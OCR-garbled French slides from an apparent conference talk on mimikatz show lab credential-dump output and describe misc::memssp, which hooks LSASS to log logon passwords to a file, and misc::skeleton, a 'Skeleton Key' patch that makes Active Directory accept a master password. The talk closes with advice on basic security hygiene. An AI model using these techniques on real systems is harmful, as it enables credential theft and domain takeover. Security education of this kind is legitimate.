- I schannel [00000000:000003e4] [00000005] LABOKIWINPCS (SERVICE RESEAU) CBSpY+,E9G3E(,-T49
— erSISta nt wdigest [00000000:000003e4] [00000005] LABOKIWI\PCS (SERVICE RESEAU) CBSpY+,E9q3E(,-T49
° tspkg [00000000:000003e5] [00000005] % (SERVICE LOCAL)
phuu [00000000:000003e4] [00000005] LABOKIWI\PCS (SERVICE RESEAU) CBSpY+,E9q3E(,-T49
mimilip [00000000:000003e5] [00000005] % (SERVICE LOCAL)
[00000000:000002e5] [00000005] Y (SERVICE LOCAL)
[00000000:000003e5] [00000005] % (SERVICE LOCAL)
[00000000:000003e4] [00000005] LABOKIWI\PCS (SERVICE RESEAU) CBSpY+,E9G3E(,-T49
[00000000:000003e4] [00000005] LABOKIWI\PCS (SERVICE RESEAU) CBSpY+,E9q3E(,-T49
[00000000:000003e7] [00000005] LABOKIWI\PC$ (Systéme)  CBSpY+,E9q3E(,-T49D 4WvGHf]
[00000000:000003e4] [00000005] LABOKIWI\PC$ (SERVICE RESEAug CBSpY+,E9q3E(,-T49
[00000000:000003e7] [00000005] LABOKIWI\PCS (Systé&me)  CBSpY+,E9q3E(,-T49D 4wvG#f
[00000000:000003e7] [00000005] LABOKIWI\PCS (Systéme)  CBSpY+,E9G3E(,-T49D 4wvGH#f]
[00000000:0002b2d9] [00000002] LABOKIWI'Administrateur (Administrateur) wazal234/
00000002

FileSusten
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http://msdn.microsoft.com/library/windows/desktop/dd401506.aspx

Altération mémoire et persistance
misc::memssp

2 Cette commande injecte un code dans LSASS puis place un « hook » sur la
fonction : msvl_0!SpAcceptCredentials

ZCela permettant de voir passer tous les mots de passe de connexion

—Et de les inscrire dans un fichier : mimilsa.log
E

Gentil Kiwi

¢ Ordinateur » Disquelocal (C:) » Windows » Systemn32 »

ZNe nécessite pas un reboot

g Organiser « Ouvrir = Imprimer MNouveau dossier

Ordinateur Favoris Maom Modifié le Type Taille

—Actif immédiatement e A mimeinan

5l Emplacements récer | mimilsa 18,/01,/2015 01:49 Document texte 1Ko

& Téléchargements || mlang.dat 10/06,2009 23:26 Fichier DAT 658 Ko

mimilsa - Bloc-notes

- Bibliothéques — — -
. Fichier Edition Format Affichage 7
t| Documents

3 = s 2 . - ry—

14 [00000000:001T6a17] LABOKIWI'Administrateur wazal23id/

ZDisparait au reboot 5 s o111 103800000 001FE351] LaBowtur Admimistrateur  waseisse/
N Musi @ [0D000000:00074ale] LABOKIWI'Administrateur wazal234/
LB LS [00000000:00074a2F] LABOKIWI'\Administrateur wazal234/

B vidéos & [00000000:0008615a] LABOKIWI'Simpleuser wazal234/

V4 V4 . N s .
—code present en memoire seu lement 511 100000000: 0008616¢] LABOKTWI\: impleuser waza1234/

M Qrdinateur [00000000:000a1087] PC\Gentil Kiwi wazal234,/
: [00000000:000a10a6] PC\Gentil Kiwi wazal234,/

Panneau de
configuration €M Réseau
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. Altération mémoire et persistance

misc::skeleton (Skeleton Key)

ZLa version mimikatz du « passe-partout » est un patch Active Directory

— A ce titre, les droits « Admins du domaine » sont nécessaires avant d’interagir avec le processus LSASS.

— Il permet d’accepter les demandes d’authentification Kerberos avec :
* Le mot de passe d’origine de l'utilisateur,
* Un mot de passe différent de celui de I'utilisateur ! (le mot de passe est ici fixé a « mimikatz »)

— Pour cela, I'AES est « désactivé » et 2 fonctions cryptographiques RC4 sont altérées
— Pour étre fidele a la version « d’origine », pas de données persistantes... le patch disparait au redémarrage

21l n’y a pas (encore ?) beaucoup de détails sur le malware d’origine ayant mis
en lumiere cette méthode

— Est-ce aussi limité a Kerberos ?

— Pourquoi cela pouvait-il entrainer des problemes de synchronisation AD ?
 Patch des fonctions Saml ?

— http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis/



http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis/

Adrministra... o
mimikatz :
b CBBERE . mimikatz 2.0 alpha (xB6) release "Kiwil en C" (Now 17 2014 00:53:48)
(HHE A FHE
i ## ; \ # Iﬁ' * *
This PC #HN S ## Benjamin DELPY ‘gentilkiwi’ ( benjamin@gentilkiwi.com )
‘## v B http: f{bleog.gentilkiwi.com/mimikatz (oe.eo)
' ! with 15 modules * #* &/
=
mimikatz # coffee
Metwark
C
)
v i i1
.
Recycle Bin -

mimikatz # markruss
Sorry you guys don't get 1it.
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2 Jespere vous avoir fait un petit peu peur, et orienté sur des pistes de recherche pour vos
systemes d’information !

— Il n’y avait pourtant ici aucune faille, aucune faiblesse cryptographique, pas d’APT, pas de 0-day, pas de gouvernement
caché derriére... je ne suis méme pas programmeur ou expert en sécurité/chercheur...

% Lancer des projets/études/audits sur des sujets de sécurité a la mode (de magazines
d’aéroports ?), ou tout miser sur la réponse, n’évitera pas un incident

— Cela donne bonne conscience a certains dirigeants (c’est déja ca), mais ne fera pas disparaitre les soucis déja existants.

— Pour ne pas étre trop négatif, cela permet quand méme d’obtenir plus facilement un budget.

% La plupart du temps ces études ou audits font remonter une petite partie des probleme sur
un périmetre tres précis
— Mais le saviez-vous ? Vos administrateurs systeme sont la plupart du temps déja au courant gu’il manque des centaines

de patchs de sécurité..., et sur un périmetre bien plus important !

* ainsi que d’autres problemes que vous n’aimeriez pas voir dans un rapport externe... du moins pas en version finale...




Jdhat’s all folks!
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